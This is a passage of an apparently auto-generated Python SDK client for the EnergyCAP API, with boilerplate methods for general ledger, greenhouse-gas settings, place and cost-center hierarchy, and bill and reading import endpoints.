header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'GeneralLedgerRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GeneralLedgerResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_general_ledger.metadata = {'url': '/api/v3/generalledger/{generalLedgerId}'}
def get_ghg_scopes_with_categories(
self, custom_headers=None, raw=False, **operation_config):
"""Get all GHG scope categories and scopes
GHG License is required to call this endpoint.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGScopeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_scopes_with_categories.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGScopeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_scopes_with_categories.metadata = {'url': '/api/v202210/ghg/scope/scopeCategory'}
def get_ghg_factors_by_category(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of GHG categories and their factors
GHG License is required to call this endpoint.
:param filter: The API filter
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGFactorCategoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_factors_by_category.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGFactorCategoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_factors_by_category.metadata = {'url': '/api/v202210/ghg/factorCategory/factor'}
def get_ghg_factor_version_history(
self, factor_id, custom_headers=None, raw=False, **operation_config):
"""Get the version history of a specific GHG factor.
:param factor_id: The GHG factor to retrieve history for
:type factor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGFactorVersionHistoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_factor_version_history.metadata['url']
path_format_arguments = {
'factorId': self._serialize.url("factor_id", factor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGFactorVersionHistoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_factor_version_history.metadata = {'url': '/api/v202210/ghg/factor/{factorId}/version'}
def get_default_ghg_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get the default GHG scopes and factors that are applied to new meters
GHG License is required to call this endpoint.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGDefaultSettingResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_default_ghg_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGDefaultSettingResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_default_ghg_settings.metadata = {'url': '/api/v202210/ghg/default'}
def edit_default_ghg_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the default GHG scopes and factors that are applied to new meters.
Only included CommodityIds will be updated.
If a CommodityId is not included in the list the currently assigned
value will remain.
To remove a default for a particular CommodityId set it's
ScopeCategoryId and DefaultFactor to null.
:param body: The default GHG scope and factor to be applied
:type body: list[~energycap.sdk.models.GHGDefaultSettingRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGDefaultSettingResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_default_ghg_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[GHGDefaultSettingRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGDefaultSettingResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_default_ghg_settings.metadata = {'url': '/api/v202210/ghg/default'}
def get_meter_ghg_settings(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get the configured GHG scope category and factor for a meter.
GHG License is required to call this endpoint.
:param meter_id: The meter to retrieve settings for
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GHGSettingResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GHGSettingResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_ghg_settings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GHGSettingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_ghg_settings.metadata = {'url': '/api/v202210/meter/{meterId}/ghgsetting'}
def edit_meter_ghg_settings(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the configured GHG scope and factor for a meter.
GHG License is required to call this endpoint.
:param meter_id: The meter to edit GHG settings on
:type meter_id: int
:param body: The new GHG settings for the meter
:type body: ~energycap.sdk.models.GHGSettingRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GHGSettingResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GHGSettingResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_ghg_settings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'GHGSettingRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GHGSettingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_ghg_settings.metadata = {'url': '/api/v202210/meter/{meterId}/ghgsetting'}
def delete_meter_ghg_settings(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Delete the configured GHG scope and factor for a meter.
This will remove all historical GHG information for the meter.
GHG License is required to call this endpoint.
:param meter_id: The meter to remove GHG settings from
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_meter_ghg_settings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_meter_ghg_settings.metadata = {'url': '/api/v202210/meter/{meterId}/ghgsetting'}
def hierarchical_ancestry_places(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Returns place ancestry information, useful for populating a tree of
places.
:param place_id: Place ID
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalPlaces or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalPlaces or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_ancestry_places.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalPlaces', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_ancestry_places.metadata = {'url': '/api/v3/hierarchy/ancestry/place/{placeId}'}
def hierarchical_ancestry_meters(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Returns meter ancestry information, useful for populating a tree of
places.
:param meter_id: Meter ID
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalPlaces or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalPlaces or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_ancestry_meters.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalPlaces', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_ancestry_meters.metadata = {'url': '/api/v3/hierarchy/ancestry/meter/{meterId}'}
def hierarchical_place(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Returns place descendant information, useful for expanding a place
node.
:param place_id: Place ID
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalPlaces or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalPlaces or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalPlaces', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_place.metadata = {'url': '/api/v3/hierarchy/place/{placeId}'}
def hierarchical_ancestry_cost_centers(
self, cost_center_id, custom_headers=None, raw=False, **operation_config):
"""Returns cost center ancestry information, useful for populating a tree
of cost centers.
:param cost_center_id: CostCenter ID
:type cost_center_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalCostCenters or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalCostCenters or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_ancestry_cost_centers.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalCostCenters', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_ancestry_cost_centers.metadata = {'url': '/api/v3/hierarchy/ancestry/costCenter/{costCenterId}'}
def hierarchical_ancestry_accounts(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Returns account ancestry information, useful for populating a tree of
costCenters.
:param account_id: Account ID
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalCostCenters or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalCostCenters or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_ancestry_accounts.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalCostCenters', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_ancestry_accounts.metadata = {'url': '/api/v3/hierarchy/ancestry/account/{accountId}'}
def hierarchical_cost_center(
self, cost_center_id, custom_headers=None, raw=False, **operation_config):
"""Returns costCenter descendant information, useful for expanding a
costCenter node.
:param cost_center_id: CostCenter ID
:type cost_center_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HierarchicalCostCenters or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.HierarchicalCostCenters or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.hierarchical_cost_center.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HierarchicalCostCenters', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
hierarchical_cost_center.metadata = {'url': '/api/v3/hierarchy/costCenter/{costCenterId}'}
def available_places_for_topmost_cost_centers(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""For a list of topmost cost centers, get associated topmost places.
:param body: List of costCenterIds to get associated topmost places.
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.available_places_for_topmost_cost_centers.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
available_places_for_topmost_cost_centers.metadata = {'url': '/api/v3/hierarchy/costCenter/availablePlaces'}
def available_cost_centers_for_topmost_places(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""For a list of topmost places, get associated topmost cost centers.
:param body: List of placeIds to get associated topmost cost centers.
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.CostCenterChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.available_cost_centers_for_topmost_places.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[CostCenterChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
available_cost_centers_for_topmost_places.metadata = {'url': '/api/v3/hierarchy/place/availableCostCenters'}
def bill_import(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""This endpoint allows the import of an EnergyCAP Advanced or a profile
mapped file. The file can be comma separated file (CSV/DAT/TXT) or
EXCEL (XLSX) or a collection of files (ZIP). The file should be base64
encoded with a UTF8 character set.
:param body: DTO containing the data to import, filename with
extension, optional profileCode to map input file to advanced format,
optional batch settings, optional import note/comment, and optional
properties to automatically resolve audit failures and reason for
resolution
:type body: ~energycap.sdk.models.BillImportRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GuidResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GuidResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_import.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillImportRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GuidResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_import.metadata = {'url': '/api/v3/import/bill'}
def reading_import(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""This endpoint allows the import of a channel reading ("interval") data
import file. The file should be a base64-encoded delimited text file
with a UTF8 character set.
:param body: DTO containing the data to export and the profile that
defines the structure.
:type body: ~energycap.sdk.models.ReadingImportRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GuidResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GuidResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reading_import.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReadingImportRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GuidResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
reading_import.metadata = {'url': '/api/v3/import/reading'}
def create_reading_import_profile(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates an interval data import profile.
:param body: The details about the profile being created
:type body: ~energycap.sdk.models.ReadingImportProfileRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReadingImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReadingImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_reading_import_profile.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReadingImportProfileRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReadingImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_reading_import_profile.metadata = {'url': '/api/v3/import/reading/profile'}
def get_reading_import_profiles(
self, custom_headers=None, raw=False, **operation_config):
"""Returns all Reading Import profiles.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ReadingImportProfileResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_reading_import_profiles.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReadingImportProfileResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_reading_import_profiles.metadata = {'url': '/api/v3/import/reading/profile'}
def get_reading_import_profile(
self, profile_id, custom_headers=None, raw=False, **operation_config):
"""Returns one reading import profile.
:param profile_id:
:type profile_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReadingImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReadingImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_reading_import_profile.metadata['url']
path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReadingImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_reading_import_profile.metadata = {'url': '/api/v3/import/reading/profile/{profileId}'}
def edit_reading_import_profile(
self, profile_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits an interval data import profile.
:param profile_id: The identifier for the profile being edited
:type profile_id: int
:param body: The details about the profile being edited
:type body: ~energycap.sdk.models.ReadingImportProfileRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReadingImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReadingImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_reading_import_profile.metadata['url']
